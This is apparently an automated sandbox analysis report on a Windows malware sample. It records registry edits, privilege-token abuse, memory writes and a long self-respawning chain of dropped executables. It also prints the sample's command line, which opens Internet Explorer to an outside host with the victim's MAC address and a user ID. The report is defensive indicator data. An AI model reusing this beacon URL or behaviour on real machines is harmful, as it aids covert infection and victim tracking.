IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000007b88b8645d6de74ab21efaf0de98379b0000000002000000000010660000000100002000000060c8518065c6646ac8e9efb5885a011d9439df52eb66a7332b0ff265be9daaf9000000000e80000000020000200000001167402faf9227ed0bdf92ac1c2417d23dc74a9be6cbf8fb5495dca7f34dabdc20000000a6c1b364e0d9dbbcca02d3b309202358be3a81e0c326c66ab48356e93c9789b54000000087ee58f447e2b073470ff8460bc63b33c2713e2f46c01b4dd26fef555b5698292496c87e444e3c13bf556e83eba6a8a8f963b4e58851316185604d47e68a164d IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Zoom IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\SearchScopes IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\PageSetup IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing IEXPLORE.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2792 f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2792 f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe Token: SeLoadDriverPrivilege 2724 GZbKFaB.exe Token: SeLoadDriverPrivilege 1560 yvdnDE4.exe Token: SeLoadDriverPrivilege 2272 yvdnDE4.exe Token: SeLoadDriverPrivilege 1692 yvdnDE4.exe Token: SeLoadDriverPrivilege 1964 yvdnDE4.exe Token: SeLoadDriverPrivilege 3032 yvdnDE4.exe Token: SeLoadDriverPrivilege 3044 yvdnDE4.exe Token: SeLoadDriverPrivilege 572 yvdnDE4.exe Token: SeLoadDriverPrivilege 1780 yvdnDE4.exe Token: SeLoadDriverPrivilege 2632 yvdnDE4.exe Token: SeLoadDriverPrivilege 2816 yvdnDE4.exe Token: SeLoadDriverPrivilege 1240 yvdnDE4.exe Token: SeLoadDriverPrivilege 524 yvdnDE4.exe Token: SeLoadDriverPrivilege 548 yvdnDE4.exe Token: SeLoadDriverPrivilege 1712 yvdnDE4.exe Token: SeLoadDriverPrivilege 2184 yvdnDE4.exe Token: SeLoadDriverPrivilege 2284 yvdnDE4.exe Token: SeLoadDriverPrivilege 2044 yvdnDE4.exe Token: SeLoadDriverPrivilege 2276 yvdnDE4.exe Token: SeLoadDriverPrivilege 868 yvdnDE4.exe Token: SeLoadDriverPrivilege 1988 yvdnDE4.exe Token: SeLoadDriverPrivilege 1456 yvdnDE4.exe Token: SeLoadDriverPrivilege 1816 yvdnDE4.exe Token: SeLoadDriverPrivilege 1700 yvdnDE4.exe Token: SeLoadDriverPrivilege 1932 yvdnDE4.exe Token: SeLoadDriverPrivilege 2352 yvdnDE4.exe Token: SeLoadDriverPrivilege 2240 yvdnDE4.exe Token: SeLoadDriverPrivilege 1804 yvdnDE4.exe Token: SeLoadDriverPrivilege 1588 yvdnDE4.exe Token: SeLoadDriverPrivilege 2612 yvdnDE4.exe Token: SeLoadDriverPrivilege 840 yvdnDE4.exe Token: SeLoadDriverPrivilege 2032 yvdnDE4.exe Token: SeLoadDriverPrivilege 2616 yvdnDE4.exe Token: SeLoadDriverPrivilege 2928 yvdnDE4.exe Token: SeLoadDriverPrivilege 2908 yvdnDE4.exe Token: SeLoadDriverPrivilege 1008 yvdnDE4.exe Token: SeLoadDriverPrivilege 3036 yvdnDE4.exe Token: SeLoadDriverPrivilege 1656 yvdnDE4.exe Token: SeLoadDriverPrivilege 344 yvdnDE4.exe Token: SeLoadDriverPrivilege 1564 yvdnDE4.exe Token: SeLoadDriverPrivilege 2972 yvdnDE4.exe Token: SeLoadDriverPrivilege 1600 yvdnDE4.exe Token: SeLoadDriverPrivilege 1996 yvdnDE4.exe Token: SeLoadDriverPrivilege 860 yvdnDE4.exe Token: SeLoadDriverPrivilege 1200 yvdnDE4.exe Token: SeLoadDriverPrivilege 2756 yvdnDE4.exe Token: SeLoadDriverPrivilege 1724 yvdnDE4.exe Token: SeLoadDriverPrivilege 2864 yvdnDE4.exe Token: SeLoadDriverPrivilege 2696 yvdnDE4.exe Token: SeLoadDriverPrivilege 2520 yvdnDE4.exe Token: SeLoadDriverPrivilege 2652 yvdnDE4.exe Token: SeLoadDriverPrivilege 856 yvdnDE4.exe Token: SeLoadDriverPrivilege 2508 yvdnDE4.exe Token: SeLoadDriverPrivilege 2592 yvdnDE4.exe Token: SeLoadDriverPrivilege 624 yvdnDE4.exe Token: SeLoadDriverPrivilege 2884 yvdnDE4.exe Token: SeLoadDriverPrivilege 1304 yvdnDE4.exe Token: SeLoadDriverPrivilege 1112 yvdnDE4.exe Token: SeLoadDriverPrivilege 1076 yvdnDE4.exe Token: SeLoadDriverPrivilege 2428 yvdnDE4.exe Token: SeLoadDriverPrivilege 1208 yvdnDE4.exe Token: SeLoadDriverPrivilege 2828 yvdnDE4.exe Token: SeLoadDriverPrivilege 1392 yvdnDE4.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2748 IEXPLORE.EXE -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 2748 IEXPLORE.EXE 2748 IEXPLORE.EXE 2812 IEXPLORE.EXE 2812 IEXPLORE.EXE 2812 IEXPLORE.EXE 2812 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2792 wrote to memory of 2648 2792 f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe 30 PID 2792 wrote to memory of 2648 2792 f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe 30 PID 2792 wrote to memory of 2648 2792 f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe 30 PID 2792 wrote to memory of 2648 2792 f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe 30 PID 2648 wrote to memory of 2748 2648 iexplore.exe 31 PID 2648 wrote to memory of 2748 2648 iexplore.exe 31 PID 2648 wrote to memory of 2748 2648 iexplore.exe 31 PID 2648 wrote to memory of 2748 2648 iexplore.exe 31 PID 2748 wrote to memory of 2812 2748 IEXPLORE.EXE 32 PID 2748 wrote to memory of 2812 2748 IEXPLORE.EXE 32 PID 2748 wrote to memory of 2812 2748 IEXPLORE.EXE 32 PID 2748 wrote to memory of 2812 2748 IEXPLORE.EXE 32 PID 2792 wrote to memory of 2724 2792 f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe 33 PID 2792 wrote to memory of 2724 2792 f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe 33 PID 2792 wrote to memory of 2724 2792 f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe 33 PID 2792 wrote to memory of 2724 2792 f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe 33 PID 2724 wrote to memory of 1560 2724 GZbKFaB.exe 34 PID 2724 wrote to memory of 1560 2724 GZbKFaB.exe 34 PID 2724 wrote to memory of 1560 2724 GZbKFaB.exe 34 PID 2724 wrote to memory of 1560 2724 GZbKFaB.exe 34 PID 1560 wrote to memory of 2272 1560 yvdnDE4.exe 35 PID 1560 wrote to memory of 2272 1560 yvdnDE4.exe 35 PID 1560 wrote to memory of 2272 1560 yvdnDE4.exe 35 PID 1560 wrote to memory of 2272 1560 yvdnDE4.exe 35 PID 2272 wrote to memory of 1692 2272 yvdnDE4.exe 36 PID 2272 wrote to memory of 1692 2272 yvdnDE4.exe 36 PID 2272 wrote to memory of 1692 2272 yvdnDE4.exe 36 PID 2272 wrote to memory of 1692 2272 yvdnDE4.exe 36 PID 1692 wrote to memory of 1964 1692 yvdnDE4.exe 37 PID 1692 wrote to memory of 1964 1692 yvdnDE4.exe 37 PID 1692 wrote to memory of 1964 1692 yvdnDE4.exe 37 PID 1692 wrote to memory of 1964 1692 yvdnDE4.exe 37 PID 1964 wrote to memory of 3032 1964 yvdnDE4.exe 38 PID 1964 wrote to memory of 3032 1964 yvdnDE4.exe 38 PID 1964 wrote to memory of 3032 1964 yvdnDE4.exe 38 PID 1964 wrote to memory of 3032 1964 yvdnDE4.exe 38 PID 3032 wrote to memory of 3044 3032 yvdnDE4.exe 39 PID 3032 wrote to memory of 3044 3032 yvdnDE4.exe 39 PID 3032 wrote to memory of 3044 3032 yvdnDE4.exe 39 PID 3032 wrote to memory of 3044 3032 yvdnDE4.exe 39 PID 3044 wrote to memory of 572 3044 yvdnDE4.exe 40 PID 3044 wrote to memory of 572 3044 yvdnDE4.exe 40 PID 3044 wrote to memory of 572 3044 yvdnDE4.exe 40 PID 3044 wrote to memory of 572 3044 yvdnDE4.exe 40 PID 572 wrote to memory of 1780 572 yvdnDE4.exe 41 PID 572 wrote to memory of 1780 572 yvdnDE4.exe 41 PID 572 wrote to memory of 1780 572 yvdnDE4.exe 41 PID 572 wrote to memory of 1780 572 yvdnDE4.exe 41 PID 1780 wrote to memory of 2632 1780 yvdnDE4.exe 42 PID 1780 wrote to memory of 2632 1780 yvdnDE4.exe 42 PID 1780 wrote to memory of 2632 1780 yvdnDE4.exe 42 PID 1780 wrote to memory of 2632 1780 yvdnDE4.exe 42 PID 2632 wrote to memory of 2816 2632 yvdnDE4.exe 44 PID 2632 wrote to memory of 2816 2632 yvdnDE4.exe 44 PID 2632 wrote to memory of 2816 2632 yvdnDE4.exe 44 PID 2632 wrote to memory of 2816 2632 yvdnDE4.exe 44 PID 2816 wrote to memory of 1240 2816 yvdnDE4.exe 45 PID 2816 wrote to memory of 1240 2816 yvdnDE4.exe 45 PID 2816 wrote to memory of 1240 2816 yvdnDE4.exe 45 PID 2816 wrote to memory of 1240 2816 yvdnDE4.exe 45 PID 1240 wrote to memory of 524 1240 yvdnDE4.exe 46 PID 1240 wrote to memory of 524 1240 yvdnDE4.exe 46 PID 1240 wrote to memory of 524 1240 yvdnDE4.exe 46 PID 1240 wrote to memory of 524 1240 yvdnDE4.exe 46
Processes
-
C:\Users\Admin\AppData\Local\Temp\f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2792 -
C:\Program Files (x86)\Internet Explorer\iexplore.exe"C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://dd.zxcvbnmzxcvbnm.com:9999/Chinagogogo.ashx?Mac=52:7E:38:F5:B4:8B&UserId=104&Bate=1.07&ThreadNum=3&Url=;-2⤵
- Suspicious use of WriteProcessMemory
PID:2648 -
C:\Program Files\Internet Explorer\IEXPLORE.EXE"C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://dd.zxcvbnmzxcvbnm.com:9999/Chinagogogo.ashx?Mac=52:7E:38:F5:B4:8B&UserId=104&Bate=1.07&ThreadNum=3&Url=;-3⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2748 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2748 CREDAT:275457 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2812
-
-
-
-
\??\c:\GZbKFaB.exec:\GZbKFaB.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2724 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1560 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2272 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1692 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe6⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1964 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3032 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe8⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3044 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe9⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:572 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe10⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1780 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe11⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2632 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe12⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2816 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe13⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1240 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe14⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:524 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe15⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:548 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe16⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1712 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe17⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2184 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe18⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:2284 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe19⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:2044 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe20⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:2276 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe21⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:868 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe22⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1988 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe23⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1456 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe24⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1816 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe25⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1700 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe26⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:1932 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe27⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:2352 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe28⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:2240 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe29⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:1804 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe30⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1588 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe31⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:2612 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe32⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:840 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe33⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:2032 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe34⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2616 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe35⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2928 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe36⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2908 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe37⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1008 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe38⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3036 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe39⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1656 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe40⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:344 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe41⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1564 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe42⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2972 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe43⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1600 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe44⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1996 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe45⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:860 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe46⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1200 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe47⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2756 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe48⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:1724 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe49⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2864 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe50⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2696 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe51⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2520 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe52⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2652 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe53⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:856 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe54⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2508 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe55⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2592 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe56⤵
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:624 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe57⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2884 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe58⤵
- Executes dropped EXE
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
PID:1304 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe59⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1112 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe60⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1076 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe61⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2428 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe62⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1208 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe63⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2828 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe64⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1392 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe65⤵
- Executes dropped EXE
- Enumerates connected drives
PID:2400 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe66⤵PID:236
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe67⤵PID:764
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe68⤵PID:1480
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe69⤵PID:1004
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe70⤵
- System Location Discovery: System Language Discovery
PID:2376 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe71⤵
- Enumerates connected drives
PID:2208 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe72⤵PID:2244
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe73⤵PID:2468
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe74⤵PID:1132
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe75⤵PID:1660
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe76⤵PID:2260
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe77⤵PID:1164
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe78⤵PID:2432
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe79⤵PID:1048
-
